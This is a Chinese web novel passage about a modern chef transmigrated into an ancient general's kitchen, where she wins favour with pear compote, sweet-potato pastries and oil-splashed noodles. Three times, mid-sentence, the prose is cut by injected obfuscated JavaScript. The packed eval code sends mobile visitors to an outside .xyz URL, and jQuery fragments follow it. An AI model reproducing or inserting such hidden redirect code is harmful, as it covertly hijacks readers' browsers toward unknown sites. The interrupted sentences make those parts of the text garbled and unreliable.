《萧将军的小厨娘（美食）》 1. 蜜渍秋梨 灶膛里的柴火噼啪作响，窜起的火苗舔舐着黑铁锅底。 苏蛮蛮跪在粗粝的青砖地上，双手浸泡在满是油污的洗碗木盆里。 十二月的凉州，井水冷得刺骨，她的手指早已经冻得通红发僵。 木盆边缘粗糙的纹路刮擦着她的手腕，留下一道道细小的红痕。 厨房里弥漫着浓重的油烟味，混杂着各种食材的气息。 角落里堆积的萝卜和白菜都散发出了一点点微不可闻的气味，虽有一些腐败的预兆，但是在冬日里蔬菜已经是弥足珍贵的存在。 苏蛮蛮努力忽视着这些刺鼻的气味，专注于手中洗碗的工作。 她小心翼翼地擦拭着每一个碗碟，生怕自己做错了什么再次惹怒了周妈妈。 “苏蛮蛮！你这懒到家得小贱蹄子！”一声尖利的呵斥伴随着木勺重重地敲在她的后脑，“将军要回府了，你要是再闹出什么幺蛾子来，仔细着你的皮！” 周妈妈的声音像是一把锋利的刃，刺破了此时厨房里的嘈杂。 苏蛮蛮感到后脑一阵剧痛，眼前金星直冒。 她强忍着泪水，但仍然不敢表现出丝毫的不满。 苏蛮蛮猛地抬头，热雾模糊了视线，周妈妈那张布满皱纹的脸在蒸汽中扭曲变形，三天了，她仍然会恍惚—— 明明不久前她还在众人的祝贺下得到了特级厨师评级，还成为了四星餐厅里最年轻的首席甜点师，还在为着国际美食比赛的参赛做着准备。 今天却成为了虞清王朝萧将军府上最低贱的一个粗使丫头。 这巨大的反差让她还是一时难以适应。 “奴婢知道了。” 她哑着嗓子回应道，手背在打满补丁的粗布围裙上胡乱擦了擦，起身太急，眼前一阵发黑。 这具身体太虚弱了，这丫头入府的时候，年纪仅有十五岁，只是因为在洒扫的时候打碎了将军的白瓷茶盏，就被管事的嬷嬷罚到了厨房做三个月的苦役。 苏蛮蛮努力稳住身形，深吸一口气，手中的碗碟可不能碎了。 她持续感受着这具陌生身体与之前的身体相比之下的每一寸变化，纤细瘦弱的四肢，粗糙的皮肤，发黄的发尾，还有那时不时传来的隐隐饥饿感。 咽了咽口水，她咬牙暗暗提醒自己必须要尽快适应这个新身份，否则很可能会露出马脚。 在餐厅里，她正将巧克力装饰对准荔枝玫瑰慕斯，准备点缀最后的造型，突然一声巨响，在爆炸中发出诡异的蓝光一瞬即逝，一切都被漫天的火光和第二天的社会新闻所掩盖...... 这段记忆如此清晰，仿佛就发生在昨天。 苏蛮蛮在此之前知晓虞清王朝的相关内容，和现在场景中有些联系的，大概只有那本从古董市场淘来的《虞清食典》，她还记得那本古籍的每一个细节： 泛黄的纸页，墨迹斑驳的文字，还有一股独特的陈旧气息。 她得到食典的时候是那么渴望能够亲眼见证古代的烹饪技艺，却从没有想到会以这种意想不到的方式实现愿望。 “又在这发什么呆！”周妈妈挥舞着又一勺敲下来，苏蛮蛮踉跄着扑向灶台。 她感到后背一阵剧痛，直到那里肯定已经是青紫一片。 但她不敢抱怨，只能强忍着痛楚，将洗好的碗碟一一摆放整齐。灶台上的铁锅正冒着腾腾热气，苏蛮蛮小心翼翼地掀开锅盖。 大铁锅里，上等的雪燕已经煮得发稠。 她下意识地摸向腰间——当然，没有温度计。 厨师的直觉告诉她，现在应该立刻撤去柴火，她舀起一勺雪燕对着光观察，“看来需要加一些蜂蜜水回温.....”她喃喃自语。 苏蛮蛮仔细观察着锅中的燕窝粥，没有精确的温度计，她只能凭借着以往的经验来判断。 粥的稠度看起来刚刚好，但温度似乎有些过高。 “你嘀嘀咕咕在说什么东西？”周妈妈狐疑地眯起眼。 苏蛮蛮心头一跳。 差点忘了，现在的苏蛮蛮是一个目不识丁毫无经验的粗使丫头，“奴婢是说.....这粥熬得太稠了，怕将军嫌腻。” 她迅速编造了一个接口，带着一点心虚偷偷地看了一眼周妈妈。 后者似乎没有完全相信，骂骂咧咧了几句但也没有继续追问，苏蛮蛮暗自松了一口气，知道自己要长点记性，更加小心谨慎。 周妈妈冷哼一声后没有再继续责骂。 苏蛮蛮悄悄环顾着这个对她而言堪称“文物”的厨房：笨重的铁锅，粗糙的陶罐，调味架上可怜巴巴的几味基础调料。 最让她心痛的还是那罐已经结了块的粗制白糖，在现代的时候大概是连喂猪都不会用的劣等货吧！ 萧燕瑾勒马停在将军府侧门，玄色大氅上还沾着边关的风雪融化的泥雪水。 三个月的巡防结束，她最想念的不是锦榻，而是府中那口热食。 可想起李嬷嬷十年如一日的厨艺，还有那腻到发齁的桂花糕，又觉得索然无味。 寒风呼啸，萧燕瑾的脸被冻得通红，但他的眼神依旧锐利如鹰。 三个月的边关生活让他无比怀念家里的味道，但同时也让他对平淡无奇的食物没有兴趣，府中的吃食若是在好上一些，他断然是不会想着外出开小灶的。 “将军回府！”门房高声通报。 萧燕瑾摆摆手，突然嗅到了一丝陌生的甜香。 那股香味若有若无，却莫名地勾起了他的食欲。萧燕瑾皱了皱眉，觉得有些不可思议，他可以说是见多识广，但为什么从未闻过如此特别的香气。 厨房里，苏蛮蛮正盯着角落里那框即将腐烂的秋梨发愣。 饥饿感如潮水般袭来，苏蛮蛮感到一阵头晕目眩。 她看着那些即将腐烂的梨，脑海中闪过一个大胆的想法，作为一个顶级厨师，她清楚地知道如何将这些不起眼的食材变成美味佳肴。 “反正都是要扔的......”她鬼使神差地捡起几个品相尚可的梨，没有柠檬汁她用醋水防止氧化；没有肉桂粉，她掰了小半截桂皮；没有细砂糖，她毛线舀了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723601|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勺将军专用的蜂蜜。 苏蛮蛮小心翼翼地处理着每一个步骤，生怕被人发现，若是被发现免不了挨一顿打。 但此刻，她顾不上那么多了，她只是想证明一下自己的厨艺，哪怕只是为了填饱肚子。 当梨块在粗陶碗里呈现出晶莹的琥珀色时，周妈妈突然冲了进来：“将军吩咐下来要吃差点！李嬷嬷告假了，你快.......”声音戛然而止。 老妇人盯着那碗冒着热气的蜜渍秋梨，喉头滚动了一下。 苏蛮蛮感到一阵恐慌。 她没想到会被周妈妈撞见，更没想到将军会在这个时候要茶点，她看向周妈妈的眼神都在颤抖，双手靠近又不敢靠近那陶碗，不知道该如何解释眼前的情况。 “这是......” “奴婢家乡的土法子。”苏蛮蛮低头掩饰着眼中的慌乱，将那陶碗端起放置托盘中，“给....给将军献丑了。” 萧燕瑾用银匙戳了戳碗中颤动的梨肉。 晶莹的糖浆裹着果肉，桂皮的香气若隐若现。 他舀了一勺放进嘴里——酸甜恰到好处，梨肉软而不烂，蜂蜜的厚重被秋梨的清爽完美中和。 他细细品味着口中的美食，眉头微微皱起，作为一个久经沙场得到将军，他对食物并没有太高的要求。 只是这道简单的甜点，让他惊讶不已。 府中什么时候有这等会做吃的的厨娘了，他竟浑然不知。 “这是谁做的？” “回将军，是.....是苏蛮蛮。” 萧燕瑾的目光变得锐利起来，他此前从未在府中听到过这个名字，“唤她过来。” 当苏蛮蛮跪在花厅时，她低下头只能看到年轻将军的手指在案几上轻轻敲击。 她垂着头，因礼数的要求，她不能抬头直视萧燕瑾的眼睛，心脏在胸腔里剧烈跳动，不得不说她有些害怕。 这还是到这来第一次见府中的主人，平日里除了在厨房做些烧火洗碗添柴的事，其他时候都在自己的那个小窝里待着。 “你就是苏蛮蛮？” “回将军，是的。”苏蛮蛮的声音有些轻。 “再做一个茶点。” “啊？.....”苏蛮蛮猛地抬头，又快速低下，“回将军，现.....现在吗？” 刚才一激动什么都忘了，她居然失了礼数抬头看了主人，一边的周妈妈估计要恨死她了吧，估计都恨不得一巴掌抡她脸上来了。 苏蛮蛮低着头紧张到五官都不知道怎么调整了。 “就现在。”萧燕瑾敲击案几的手突然停下，“不行吗？” “奴婢这就去。” 苏蛮蛮提起裙摆站起来转身就跑，不敢再看萧燕瑾一眼，太吓人了，太吓人了。 萧燕瑾看着她那落荒而逃的模样，不由得扬起了嘴角，“有趣！” 小厨房里，苏蛮蛮的额头沁出了细汗，环顾了四周，最终眼神落在了角落里那不起眼的袋子上。 她走近一看，果不其然，就是红薯。 2. 红薯酥 苏蛮蛮拿了几个红薯放在一旁，随后用铜盆打了些水来。 铜盆里的水微微晃动，映出一张陌生的脸。 苏蛮蛮盯着水中的倒影，杏眼、薄唇，左眉尾还有一颗小红痣。 这是她？ 她猛地掬起一捧冷水泼在脸上，冰凉刺骨，却冲不散心头那股诡异的违和感。 水珠顺着脸颊滑落，苏蛮蛮闭上眼，深吸一口气，她试图回忆着自己曾经的模样！高挑的身材，利落的短发，艳丽却不俗气的五官。 但这些印象越来越模糊，仿佛隔着一层雾，再次睁开眼时，铜盆中只剩下现在这张青涩俊秀的脸。 她摇摇头，事已至此，不想了。 苏蛮蛮用袖子简单擦了擦脸，拿着一旁的红薯放进铜盆里洗净，再将洗净的红薯放进锅里蒸熟。 过程中她又去准备着做食材需要的主料和配料，类似于糖粉、水、油、蛋黄等东西。 将每一个配料都按份摆放好。 红薯蒸熟后去皮，捣碎做成红薯馅儿。 馅料等量均分，材料混合均匀，将其分别揉成团。 苏蛮蛮站在灶台边上一个一个的揉着，萧燕瑾不知何时到了厨房门口，周妈妈本想叫一声，却被萧燕瑾制止了。 周妈妈站在萧燕瑾的身后，一动也不敢动，低着头全身颤抖着，生怕苏蛮蛮这丫头把厨房搞得乱七八糟惹得将军不快。 萧燕瑾背着手站在门口没有进去，远远地看着苏蛮蛮在灶台边上使劲儿揉团，下一秒又累得甩手的动作。 不由得笑了一声。 周妈妈愣了愣，抬头看向萧燕瑾，只因站在身后她不知道萧燕瑾是不是真的在笑，又浅浅地低下了头。 是我听错了吗？ 而里面的苏蛮蛮全然不知门口站着两人，只是卖力地揉着她的面团，然后将油皮包裹住酥皮。 包好后松弛一会儿。 在这个间隙她又做上了一个别的。 竹筷在陶碗里划出急促的节奏，手腕很快酸胀不已。 隐隐感觉到身后有双眼睛，她悄悄地偷瞄着门口，萧燕瑾还倚靠在门边观看，那双鹰隼般的眼睛一瞬不瞬地打量着她的动作。 不是吧，这都还要来看？ 粗陶碗里的蛋清终于泛起细密的泡沫，她拿起一旁的蜂蜜，突然福至心灵，洒了一把干桂花。 将粗陶碗放进蒸笼里，她又将松弛好的油酥皮稍微压扁，用擀面杖擀成椭圆形的薄片，由下向上卷成圆柱形，再次松弛。 简易的“伪舒芙蕾”在蒸笼里慢慢膨胀起来时，她听见了一声几不可闻的轻笑。 苏蛮蛮屏住呼吸，小心翼翼地掀开蒸笼盖子，一股浓郁的桂花香气扑面而来，她看到那个简陋的甜点奇迹般地膨胀起来，形成了一个完美的圆顶。 yes！成功了！ 她在心里暗自窃喜。 将舒芙蕾拿出来放在一旁稍凉一下，刚好擀皮包上馅料，按扁之后再刷上一层蛋黄。 中间在切上一刀，最后撒上黑芝麻，放进油锅里浅浅酥一酥。 香味立马就传开来。 苏蛮蛮将红薯酥和舒芙蕾放置好准备直接端给萧燕瑾看的时候，不知道萧燕瑾何时离开的厨房，她也没多想，端着自己的佳作就往花厅走去。 “将军，请。” 她将陶碗从托盘中拿出来，筷子和勺子都准备齐全，萧燕瑾盯着眼前的食物满是期待，一旁的军师扇着扇子不停地吞着口水。 萧燕瑾从来没有闻到过这等美味，至少府中并没有这等绝佳的厨娘，能够烹饪出让他垂涎三尺的美食。 虽然说作为一个常年征战的将军对吃食可能没有什么过大的向往，能填饱肚子就好。 可是对萧燕瑾来说，吃那可谓是比保家卫国低那么一丢丢的大事，军中将士若是都吃不饱穿不暖，哪还有力气出门上阵杀敌啊！ 好在战事终于结束，可以在府中多待些时日。 苏蛮蛮跪在一旁，时不时地抬头看看萧燕瑾是否动筷，神情是否有变化。 萧燕瑾拿着勺子舀起一勺舒芙蕾放进嘴里，那软糯的感觉一下子在嘴里化开来，香味直击喉间。 他又拿起筷子夹上一块红薯酥，“咔嚓”一声，脆脆的外壳在嘴里炸开，里面的馅料软糯鲜香，外面的皮酥酥的，他从未吃过这等美食。 身后的军师眼睛直勾勾地盯着桌上的食物，看着萧燕瑾吃得很是满足的模样，他一直吞着口水。 “以后，将军府上下的吃食皆由你一人负责。” 苏蛮蛮猛地抬头，“啊？” “怎么？不满？”萧燕瑾放下筷子，周妈妈递了手巾给他擦嘴，他看了看跪在面前的苏蛮蛮，“好些人想要这个差事还要不了，现下给你你还不愿？” “奴婢自然愿意，只是将军，奴婢的月俸能不能涨涨？” 苏蛮蛮俯首跪趴在地上，小心翼翼地说着。 “五两。” 哇，五两！！ 不对，五两换成人民币多少钱？ 管她多少呢，反正月俸还蛮高的了，攒攒钱说不定还能够在这开间铺子，就不用给他打工了！！！ “多谢将军。” 行了礼后苏蛮蛮起身，腿都已经被跪麻了，周妈妈走过来伸手扶着她，笑嘻嘻地说道：“蛮蛮啊，走，我领你去小厨房。” 苏蛮蛮皮笑肉不笑地回应道，“多谢周妈妈。” 见两人出了花厅，军师这才走上前，“将军，我是不是能......”用扇子指着那桌上的红薯酥，“吃一块啊？” 萧燕瑾拿起一块红薯酥递给他，“味道确实还不错，府中何时有的这等厨娘，做粗使丫鬟确实屈才了。” 嘎嘣脆的声响从耳边传来，萧燕瑾扭头看着军师，只见军师在身后吃得那是津津有味，“嗯，确实好吃啊将军。” 萧燕瑾摇了摇头，没有继续说话。 走到小厨房门口，周妈妈便松了扶着苏蛮蛮的手，站在一旁冷哼一声，“苏蛮蛮，别以为自己进了小厨房就跟乌鸦当了凤凰似的，李妈妈的厨艺在整个府里可是一等一的，你抢了李妈妈的活儿，看她等下不好好收拾你！” 说着她双手抱着臂，轻轻靠在一旁的水缸边上，一副等着看好戏的模样。 苏蛮蛮轻笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723602|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声摇摇头，脚上的酥麻感还没完全褪去，一瘸一拐走个路却是没有问题的。 她刚向前踏上一步，眼前就出现了一双灰黑色布鞋。 顺着布鞋往上看，粗布围裙套着粗布麻衣，肥胖的身体，圆圆的脸蛋儿，手上还拿着一个大汤勺。 苏蛮蛮站直身子，准备行礼向她问好，还没开口说话，一边的周妈妈就煽风点火道：“哎哟，老李婆啊，你看看，这个小丫头现在来抢你的活儿干了，我看啊没多久你就要因为这个黄毛丫头被赶出府咯！” 李妈妈上下打量了苏蛮蛮一番，“你就是做出来红薯酥那小丫头？” “奴婢问李妈妈好！”她怯懦懦地说道，“若是李妈妈嫌弃奴婢，奴婢可以在外打个下手什么的......” 这一上来可不能得罪了人家，毕竟李妈妈是这府里的老人儿，要是得罪了往后可就没啥好日子过了。 李妈妈拿着汤勺迈着沉重的步伐跨过门槛，朝着苏蛮蛮走去，周妈妈见状连连往后退上了好几步。 苏蛮蛮不敢抬头，李妈妈的块头有些大，就她现在这个小身板儿，不能与之抗衡，还是先猥琐吧。 她用余光悄悄瞥了瞥一旁的周妈妈，那嘴角笑得张扬，没有一点收敛的架势，刚才她主动扶自己的时候就感觉哪里不对劲儿，合着是在这等着呢！ 不行，还是要先下手为强。 做好了心理建设，反正横竖一死，她猛地抬起头来紧闭双眼，“李妈妈，我......” 话还没有说出口，胳膊就被一只热乎乎的手挽住，她慢慢睁开眼睛，眼前啥也没有，扭头一看，李妈妈正笑眯眯地挽着她的胳膊。 “你就是苏蛮蛮啊，我以后能叫你蛮蛮吗？” “啊？能，能的。”苏蛮蛮有些懵。 “太好了，你能不能教教我那个什么蕾的怎么做啊，我今天路过花厅的时候闻着可香了，还有那个什么红薯酥，我都没想到红薯还有这样的做法！” 一旁的周妈妈眼睛瞬间瞪大，“你个老李婆怎么分不清好歹呢，苏蛮蛮都来跟你抢活儿干了，你就不怕被赶出府吗？” 她有些气急败坏，本来就想着借李妈妈的手好好收拾一下这小贱蹄子，没曾想让她自己丢了面儿。 李妈妈扭头看向周妈妈，“哟，我当是谁呢，不过是丫鬟小厮吃食的管事儿妈妈嘛，我可是听说了啊，以后整个府里的吃食都得听蛮蛮的，你管事又怎样，以后还不是得跟着蛮蛮的方法做菜，有本事你也有这门手艺啊！” 说完头也不回地拉着苏蛮蛮就往里走去。 “李妈妈，周妈妈她......” “嗐，她这人就这样一副小人得志的模样，当初我和她一同在厨房干活儿，结果她倒好自个儿跑去将军面前挣功劳，给自己挣了个厨房的管事来做。” 李妈妈将锅里的汤盛出来，一边盛一边说着，“这人啊就是缺心眼儿，骨子里不坏的，咱们在将军府近十年了，要是她不为自己争一争，往后的日子也不好过。” 苏蛮蛮点点头，门外的周妈妈顿了顿转身便离开了。 “蛮蛮，咱是不是要整个食谱啊？” 3. 油泼面 苏蛮蛮跟着李妈妈一起收拾着厨房，听到李妈妈的那句“食谱”她的脑袋瓜灵机一动。 “对啊，咱们要做一个每日菜单，将军的和府中下人的分开来。” 李妈妈听得有些迷糊，好像听懂了又好像没听懂，但是苏蛮蛮说的肯定是有道理的。 “苏姑娘！李妈妈！”双喜的声音从门外传来，带着一种不同寻常的紧张，而后探进半个身子。 苏蛮蛮刚想到什么，就被双喜的突如其来给打断了，她和李妈妈都停下手中的活计，诧异地望过去。 “怎么了？” 李妈妈擦了擦手上的水渍，赶忙走到双喜的跟前儿，“这是出啥事了，你这么喘？” “将军传话，明日府中会有一位远道而来的客人，说是打北边儿来的，来此行商。”双喜走到一旁给自己倒了一杯水，一口灌进肚子里又接着说道，“将军吩咐，午膳要备得.......嗯，就是要有些抑郁风味！” 她顿了顿，似乎在斟酌将军的原话，“不拘什么，但求新奇、热络，能暖寒客之胃。” “北边来的行商？异域风味？”李妈妈小声重复着双喜的话，眉头也随着紧紧锁了起来，“这.....这仓促之间，上哪儿寻摸那些稀罕物？” 北边的商人？ 苏蛮蛮的脑子里瞬间涌入草原风物，还带着浓烈香料气息的文字，辣椒、孜然、胡麻油.....这些词条在记忆里闪闪发光。 然而现实有点残酷，环顾一下这间厨房，除了盐、酱、醋，还有几味常见的干香辛料（花椒、姜、桂皮），以及那罐稍显珍贵的蜂蜜，哪里寻得见半点“异域”的影子？ 周妈妈就跟闻了什么声似的，急匆匆地跑了过来，站在门口说道：“哎呀老李婆啊，我刚去库房看了看，没有胡麻油了喂，前些日子为着年节祭祀，已用尽了！这库房管事的说新采买的呀，最快也得后日才能送进来！”语气里带着一丝幸灾乐祸。 她说完，目光在苏蛮蛮瞬间紧绷的脸上溜了一圈，心里不免有些得意，踩着大步子转身就走了。 双喜的话带到了，也匆匆远去。 厨房里陷入一片短暂的死寂，只有灶膛里柴火燃烧的噼啪声格外清晰。 “胡麻油都没了？”李妈妈的声音带着哭腔，双手在粗布围裙上无措地搓着，“这.....这可如何是好啊？蛮蛮，要不....要不咱去求求将军，就说实在......” “不行！” 苏蛮蛮猛地打断她，声音不大，却异常坚定。 她深吸一口气，强行压下心头的慌乱，求萧燕瑾？那不就等于成人自己的无能，刚刚到手的位置和月俸只怕是顷刻间就要化为乌有了。 她强迫自己冷静下来，目光如同探针，一寸寸扫过厨房的每一个角落。 异域风味.....新奇热络.....暖胃....... 目光最终钉在了灶台旁一个不起眼的粗陶盆上。 盆里凝着一层厚厚的、微微发黄的油脂——那是昨日熬制大骨汤撇出的猪板油，本来是打算用来炒个素菜增香的。 猪油！ 一旁的地上还有着一小片绿叶，苏蛮蛮走过去拿起来敲了敲，茱萸！ 一个念头如同闪电般劈开混沌！油泼面！ 热油泼在辛辣之物上，激发出猛烈霸道的香气，面条劲道爽滑，裹着油香和辛香，一碗下肚，足以驱散边塞苦寒！ 没有胡麻油，就用这猪板油熬练！ 没有辣椒，就用这茱萸来替代其辛辣！ “李妈妈！”苏蛮蛮的声音带着一种豁出去的决断，眼睛亮得惊人，“别慌！有法子！快，帮我把马快猪板油拿出来，我们练油！” “猪油？”李妈妈愕然，“那.....那腥膻气.......” “练得透，去腥膻，能成！”苏蛮蛮语速飞快，人已经开始行动起来。 她将茱萸拿起来洗净，切好剁碎，放置备用。 此时，李妈妈已依言将那块沉甸甸、白腻腻的猪板油切成了小块，放入洗净的厚铁锅中。 苏蛮蛮添了半瓢清水进去，盖上锅盖。 “加清水小火慢熬，油色清亮腥味少。”她的嘴里默念着，安排好这个她又立刻取几瓣大蒜，用刀背拍扁，细细剁成蒜末。 小半碗茱萸碎片，一小堆雪白的蒜末，还有一小碟清脆的葱花，在粗陶碟子里摆开，如同即将点燃引线的火药桶。 时间在紧张的忙碌中飞逝。 当铁锅里的水分澳柑，清澈微黄的猪油开始“滋滋”冒出小泡时，厨房里弥漫开一种浓郁的、戴着温暖荤香的油脂气息。 苏蛮蛮用细密的竹漏勺仔细撇去油渣，得到了一碗清亮喷香、毫无异味的熟猪油。 做完这些，天色已然渐晚，苏蛮蛮扭头对着正在打哈欠的李妈妈说着，“李妈妈，您先回去休息吧，明儿个还得早起呢，我来收拾就成！” “那怎么成？不成。” 李妈妈站起身来就要开始收拾，被苏蛮蛮拦了下来，“去吧，这里有我呐，今儿个您也受累了，忙活了一天，明儿个结束了我给您做好吃的！” 苏蛮蛮笑眯眯的，李妈妈凑近她问道：“红薯酥？还是舒芙蕾？” “哈哈哈，都成，快去睡吧！” 看着李妈妈开心的背影，苏蛮蛮在这里的生活也算是得到了一些很好的慰藉，厨师嘛，在哪儿不是做吃的呢！ 重要的是，有人愿意吃！ 她将猪油装好放在一边盖上，生怕落了什么灰进去，再将整个厨房都打扫一遍，这才回到自己的小窝里睡觉。 第二天一早，苏蛮蛮揉着眼睛就到了厨房。 李妈妈已经在厨房开始收拾了，早晨就熬了一些白粥，加上一两个下饭的小菜。 萧燕瑾是从府外回来的，接上了北边的商人阿史那一同进的府，两人相谈甚欢。 苏蛮蛮盯着那剩的不多的白粥问道：“这就是我们的早膳吗？” “是啊，怎么了？” 苏蛮蛮苦笑一声，“啊，没事。” 将就吃吧！明天她一定把菜单列出来！！！ 寅时刚过，天色仍是沉沉的蟹壳青，将军府里沉寂的院落里响起了第一声梆子。 寒气凛冽，檐角挂下细小的冰凌，窗户纸上凝结着毛茸茸的霜花。 厨房里内却已升腾起暖烘烘的白雾，混杂着新鲜面食朴素踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723603|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实的麦香。 “蛮蛮，你瞧瞧这面揉得成不成？”李妈妈的声音带着晨起的微哑，从大案板那头传来。 她正用力揉着一大团醒好的面胚，粗壮的手臂动作利落，面团反复在她掌心折叠、摔打，发出沉闷的“噗噗”声。 苏蛮蛮闻言，她直起身，用沾着面粉的手背蹭了一下额角，几缕汗湿的鬓发黏在脸颊边，她快步走到案板签，伸出食指，在那团被李妈妈揉得光滑紧实的面团上轻轻一按。 指印缓缓回弹，留下一个浅坑。 “成了，李妈妈。”苏蛮蛮脸上绽开笑容，带着一丝疲惫却满足的光彩，“就照这个劲儿，醒上一刻钟，等会儿扯面筋道。” 她习惯性的补充，“记得盖块湿布，别让皮子干了。” “晓得了，晓得了！”李妈妈笑得眼睛眯成缝，对这个新来的“主厨”丫头，她是打心眼里服气又喜欢。 她利落地将面团拢圆，覆上湿润的粗麻布，推到案板的一角醒着。 苏蛮蛮环顾着这间被她和李妈妈收拾得已然焕然一新许多的厨房，角落里的萝卜白菜码得整整齐齐，那罐粗糖被她用油纸仔细封好，以防受潮。 虽然工具依旧简陋，陶罐粗糙，铁锅厚重，但处处都透着一种井井有条、物尽其用的生机。 她深吸一口气，空气里是面粉、柴火和瓦罐里米粥温热的气息，这让她感到一种奇异的踏实。 面团醒好后，李妈妈将其揉搓成长条，揪成一个个大小均匀的面剂子。 苏蛮蛮接受过面剂子，动作快得让人眼花缭乱。 她将面剂子擀成牛舌状的薄片，双手捏住两端，腰身微微发力，手臂在空中一抻、一抖！ “啪！”一声清脆利落的甩打声在厨房里响起。 薄薄的面片在她手中如同被赋予了生命，瞬间延展、变长，变得宽而柔韧，在空中划出一道漂亮的弧线，稳稳地落回撒了干粉的案板上。 一锅宽水在灶上早已是烧得滚沸如泉涌，苏蛮蛮将一根根扯好的宽面下入沸水中，用长竹筷轻轻拨散。 面条在翻滚的白浪中沉浮，渐渐变得透亮润滑。 与此同时，她迅速将练好的猪油重新在小铁勺里加热，直至微微冒起了轻烟。 她屏住呼吸，一手端起那碗煮好沥干水分、铺在粗陶海碗里的宽面，上面已经撒好盐，还有一点珍贵的酱油以及碾碎的干花椒粉、蒜末、葱花，当然还有最核心的茱萸碎片！ 滚烫的猪油，对准那堆辛香之物，毫不犹豫地浇了下去！ “滋啦——！！” 滚油与茱萸、蒜末、花椒接触的那一瞬间，如同烈火烹油！ 一股无法形容的、极其霸道、极其蛮横的辛香之气猛地炸开！那香气浓烈得近乎有形，带着灼人的热浪和刺鼻的冲劲儿，像是无数根细小的针，狠狠扎进人的鼻腔，直冲天灵盖！ “咳咳咳！”李妈妈猝不及防，被这凶猛的气味呛得连连后退，眼泪都咳了出来，指着那碗面惊骇得说不出话，“这....这.....” 苏蛮蛮也被这过于猛烈的香气冲得眯起了眼，心脏在胸腔里狂跳，成了！这就是她要的，足以让任何“远客”瞬间记住的味道！ 4. 焦糖布丁 花厅。 厚重的门帘隔绝了外间的寒风，青铜暖炉散发着融融暖意。 萧燕瑾端坐于主位的檀木圈椅上，手边一盏清茶已经冷了大半，他并未去碰，修长的手指只是无意识地、有一下没一下地轻轻敲击着光滑的紫檀木案几边缘，发出轻微的“笃、笃”声。 他的下首，坐着那位远道而来的“客人”。 此人约莫三十许，身形颇为魁梧，裹着一件明显不太合身的、边角磨损的皮袍，粗犷的面容上刻着风霜的痕迹。 最为醒目的是他唇上两撇浓密卷曲的胡髭，以及那双在略显昏暗的光线下，呈现出一种奇异灰绿色的眼珠。 他自称阿史那，来自北狄草原，做着一些皮毛药材的生意。 此刻，他看似随意地坐着，眼神却在不经意间飞快地扫视着花厅内的陈设与通往内外的门户，带着一些商贾的圆滑，却也掩不住一丝草原人特有的、对陌生环境的审视和警惕。 萧燕瑾面上沉静，没有一点波澜，鹰隼般的目光却从未离开过阿史那的那张脸。 边关三年的磨砺，让他对任何来自于北方的面孔都保持着近乎本能的戒备。 尤其是这双灰绿色的眼睛，让他想起了曾经在斥候营的时候，收到的情报中提及了北狄王庭豢养的某些特殊探子...... 他端起手边的冷茶，抿上一口，冰凉的液体滑入喉咙，压下心头翻涌的疑虑。 只是行商？但愿如此。 两人之间此时弥漫着一种心照不宣的沉默，只有炉火燃烧的轻响声和萧燕瑾指尖那单调的敲击声。 突然！ 一股极其暴烈、极其陌生的浓香，毫无征兆地、蛮横地穿透厚重的门帘，如同无形的攻城锤，狠狠撞进了花厅！ “唔！”阿史那的鼻翼瞬间翕张，喉结不受控制地滚动了一下，那双灰绿色的眼睛猛地爆发出一种纯粹的、近乎兽性的光芒！ 那是饥饿之人猝然闻到极致美食的本能反应！ 他下意识地挺直了腰背，目光直直地射向香气的来源。 几乎在同一刹那！ “笃！” 萧燕瑾指尖敲击案几的动作，戛然而止！ 那根骨节分明的手指，悬停在紫檀木光滑冰凉的表面，微微蜷曲，指节因为瞬间的用力而显得有些发白。 他深邃的眼眸骤然一缩，锐利的目光如同实质的冰锥，同样射向了门帘之外！ 这味道......霸道、炽烈、带着一种从来没有闻过、近乎烧灼的奇异辛香！ 绝对不是李妈妈那温吞的手艺！ 是那个丫头.....苏...蛮蛮？ 门帘被一只微微颤抖的手掀开。 苏蛮蛮低着头，小心翼翼地拖着一个宽大的朱漆托盘走了进来。托盘中央，稳稳放着两只粗陶海碗。 碗中，宽厚劲道的面条被一层浓稠艳丽、近乎发光的油渍紧紧包裹着，热气腾腾，油光润泽。 炸裂的辛香正是从这碗里源源不断地散发出来，霸道地侵占着花厅里的每一寸空气。 几粒焦香的芝麻和翠绿的葱花点缀其上，如同烈火中的生机。 她将托盘轻轻放在阿史那面前的案几上，双手端出一只粗陶海碗放置在阿史那的眼前，垂着眼睫，声音尽量平稳：“贵客请慢用。” 阿史那的目光早已牢牢锁死在面前的粗陶碗上，那浓郁的、带着致命吸引力的香气钻入他的鼻腔，刺激着他的唾液疯狂分泌。 苏蛮蛮将另一只碗放置在了萧燕瑾的眼前，声音不大，“将军请用。” 